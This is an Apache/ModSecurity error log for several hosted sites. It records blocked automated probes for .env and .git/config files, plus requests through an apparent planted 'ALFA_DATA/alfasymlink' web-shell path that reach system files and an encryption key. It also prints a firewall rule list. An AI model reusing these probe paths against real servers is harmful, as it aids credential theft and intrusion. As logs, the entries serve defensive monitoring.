[Sat Oct 24 13:37:00.428742 2026] [security2:error] [pid 2676583:tid 2676583] [client 213.209.159.133:55608] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "atzsvJLd8qRkPDP6P-d24gAAAAI"]
[Sat Oct 24 13:37:00.428886 2026] [security2:error] [pid 2676583:tid 2676583] [client 213.209.159.133:55608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "atzsvJLd8qRkPDP6P-d24gAAAAI"]
[Sat Oct 24 13:37:00.429108 2026] [security2:error] [pid 2676583:tid 2676583] [client 213.209.159.133:55608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "atzsvJLd8qRkPDP6P-d24gAAAAI"]
[Sat Oct 24 13:37:00.479482 2026] [security2:error] [pid 2661978:tid 2661978] [client 213.209.159.133:55532] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "atzsvFb2-c1qsZ5qYR4A3AAAAAM"]
[Sat Oct 24 13:37:00.479846 2026] [security2:error] [pid 2661978:tid 2661978] [client 213.209.159.133:55532] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "atzsvFb2-c1qsZ5qYR4A3AAAAAM"]
[Sat Oct 24 13:37:00.480312 2026] [security2:error] [pid 2661978:tid 2661978] [client 213.209.159.133:55532] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "atzsvFb2-c1qsZ5qYR4A3AAAAAM"]
[Sat Oct 24 13:37:00.487049 2026] [security2:error] [pid 2635677:tid 2635677] [client 213.209.159.133:55542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "atzsvIWurp-t0SwAQgRsegAAAAQ"]
[Sat Oct 24 13:37:00.487327 2026] [security2:error] [pid 2635677:tid 2635677] [client 213.209.159.133:55542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "atzsvIWurp-t0SwAQgRsegAAAAQ"]
[Sat Oct 24 13:37:00.487688 2026] [security2:error] [pid 2635677:tid 2635677] [client 213.209.159.133:55542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "atzsvIWurp-t0SwAQgRsegAAAAQ"]
[Sat Oct 24 13:37:00.489150 2026] [security2:error] [pid 2627273:tid 2627273] [client 213.209.159.133:55578] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "atzsvBdOhHN-18IxgZKtzgAAAAY"]
[Sat Oct 24 13:37:00.489312 2026] [security2:error] [pid 2627273:tid 2627273] [client 213.209.159.133:55578] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "atzsvBdOhHN-18IxgZKtzgAAAAY"]
[Sat Oct 24 13:37:00.489369 2026] [security2:error] [pid 2676898:tid 2676898] [client 213.209.159.133:55558] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "atzsvDfHsOPHExJk0jBRMAAAAAA"]
[Sat Oct 24 13:37:00.489567 2026] [security2:error] [pid 2627273:tid 2627273] [client 213.209.159.133:55578] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "atzsvBdOhHN-18IxgZKtzgAAAAY"]
[Sat Oct 24 13:37:00.489571 2026] [security2:error] [pid 2676898:tid 2676898] [client 213.209.159.133:55558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "atzsvDfHsOPHExJk0jBRMAAAAAA"]
[Sat Oct 24 13:37:00.489794 2026] [security2:error] [pid 2676898:tid 2676898] [client 213.209.159.133:55558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "atzsvDfHsOPHExJk0jBRMAAAAAA"]
[Sat Oct 24 13:37:00.567556 2026] [security2:error] [pid 2635677:tid 2635677] [client 213.209.159.133:55542] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzsvIWurp-t0SwAQgRsewAAAAQ"]
[Sat Oct 24 13:37:00.567762 2026] [security2:error] [pid 2635677:tid 2635677] [client 213.209.159.133:55542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzsvIWurp-t0SwAQgRsewAAAAQ"]
[Sat Oct 24 13:37:00.567979 2026] [security2:error] [pid 2635677:tid 2635677] [client 213.209.159.133:55542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzsvIWurp-t0SwAQgRsewAAAAQ"]
[Sat Oct 24 13:37:00.571754 2026] [proxy_fcgi:error] [pid 2676898:tid 2676898] [client 213.209.159.133:55558] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:37:00.573364 2026] [proxy_fcgi:error] [pid 2653689:tid 2653689] [client 213.209.159.133:55600] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:37:00.573760 2026] [proxy_fcgi:error] [pid 2627273:tid 2627273] [client 213.209.159.133:55578] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:37:00.575362 2026] [proxy_fcgi:error] [pid 2653683:tid 2653683] [client 213.209.159.133:55574] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:37:00.576505 2026] [proxy_fcgi:error] [pid 2661979:tid 2661979] [client 213.209.159.133:55584] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:37:00.596814 2026] [proxy_fcgi:error] [pid 2653691:tid 2653691] [client 213.209.159.133:55568] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:37:05.900529 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 85.208.96.210:17442] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-192/usersize
[Sat Oct 24 13:37:15.826066 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 85.208.96.199:50474] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/free_calls
[Sat Oct 24 13:37:21.328558 2026] [core:error] [pid 2676898:tid 2676898] (13)Permission denied: [client 85.208.96.212:36978] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_mrt_cache/total_objects
[Sat Oct 24 13:37:21.514312 2026] [security2:error] [pid 2661978:tid 2661978] [client 135.181.213.219:32300] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/extplorer/encryption.key"] [unique_id "atzs0Vb2-c1qsZ5qYR4A4QAAAAM"]
[Sat Oct 24 13:37:21.514751 2026] [security2:error] [pid 2661978:tid 2661978] [client 135.181.213.219:32300] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/extplorer/encryption.key"] [unique_id "atzs0Vb2-c1qsZ5qYR4A4QAAAAM"]
[Sat Oct 24 13:37:21.515667 2026] [security2:error] [pid 2661978:tid 2661978] [client 135.181.213.219:32300] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atzs0Vb2-c1qsZ5qYR4A4QAAAAM"]
[Sat Oct 24 13:37:26.288442 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.163.169.168:46024] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:37:29.964466 2026] [security2:error] [pid 2661974:tid 2661974] [client 130.12.180.167:61676] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzs2VJ_jwyaxTk3PFs15gAAAAE"]
[Sat Oct 24 13:37:29.964690 2026] [security2:error] [pid 2661974:tid 2661974] [client 130.12.180.167:61676] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzs2VJ_jwyaxTk3PFs15gAAAAE"]
[Sat Oct 24 13:37:29.964975 2026] [security2:error] [pid 2661974:tid 2661974] [client 130.12.180.167:61676] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzs2VJ_jwyaxTk3PFs15gAAAAE"]
[Sat Oct 24 13:37:30.421658 2026] [security2:error] [pid 2676898:tid 2676898] [client 130.12.180.176:57158] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzs2jfHsOPHExJk0jBRNgAAAAA"]
[Sat Oct 24 13:37:30.421941 2026] [security2:error] [pid 2676898:tid 2676898] [client 130.12.180.176:57158] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzs2jfHsOPHExJk0jBRNgAAAAA"]
[Sat Oct 24 13:37:30.422211 2026] [security2:error] [pid 2676898:tid 2676898] [client 130.12.180.176:57158] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzs2jfHsOPHExJk0jBRNgAAAAA"]
[Sat Oct 24 13:37:38.338999 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 54.156.55.147:21922] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:38:02.435595 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 107.22.208.39:29102] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/dmaengine-unmap-16/store_user
[Sat Oct 24 13:38:10.741928 2026] [security2:error] [pid 2676898:tid 2676898] [client 13.61.144.93:33558] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/v2r0FJ7hf8D1B9FYPGw4oibalpXVYYFA5Wo0yXBo48I"] [unique_id "atztAjfHsOPHExJk0jBRQQAAAAA"]
[Sat Oct 24 13:38:10.742001 2026] [security2:error] [pid 2676898:tid 2676898] [client 13.61.144.93:33558] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/v2r0FJ7hf8D1B9FYPGw4oibalpXVYYFA5Wo0yXBo48I"] [unique_id "atztAjfHsOPHExJk0jBRQQAAAAA"]
[Sat Oct 24 13:38:14.626726 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 100.28.44.58:5816] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:38:16.172452 2026] [proxy_fcgi:error] [pid 2661974:tid 2661974] [client 185.218.86.21:52280] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:38:18.306965 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 98.83.72.38:23717] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/drivers/pvpanic/bind
[Sat Oct 24 13:38:18.368727 2026] [proxy_fcgi:error] [pid 2653689:tid 2653689] [client 185.218.86.21:52294] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:38:18.970364 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 85.208.96.202:42780] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/cpu_slabs
[Sat Oct 24 13:38:22.293096 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.145.82.217:42186] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:38:26.883433 2026] [security2:error] [pid 2653683:tid 2653683] [client 46.224.128.204:45748] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/index.html"] [unique_id "atztEr67zmuaHuFajxGn3wAAAA4"]
[Sat Oct 24 13:38:26.883483 2026] [security2:error] [pid 2653683:tid 2653683] [client 46.224.128.204:45748] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/index.html"] [unique_id "atztEr67zmuaHuFajxGn3wAAAA4"]
[Sat Oct 24 13:38:28.400851 2026] [mpm_prefork:notice] [pid 799574:tid 799574] AH00171: Graceful restart requested, doing restart
[Sat Oct 24 13:38:28.949774 2026] [security2:error] [pid 2653691:tid 2653691] [client 153.75.81.83:63508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atztFAg8t6UDSRTNwJOX1wAAABc"]
[Sat Oct 24 13:38:28.950041 2026] [security2:error] [pid 2653691:tid 2653691] [client 153.75.81.83:63508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atztFAg8t6UDSRTNwJOX1wAAABc"]
[Sat Oct 24 13:38:28.950350 2026] [security2:error] [pid 2653691:tid 2653691] [client 153.75.81.83:63508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atztFAg8t6UDSRTNwJOX1wAAABc"]
[Sat Oct 24 13:38:29.015200 2026] [security2:error] [pid 2627273:tid 2627273] [client 153.75.81.83:63512] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atztFRdOhHN-18IxgZKt3wAAAAY"]
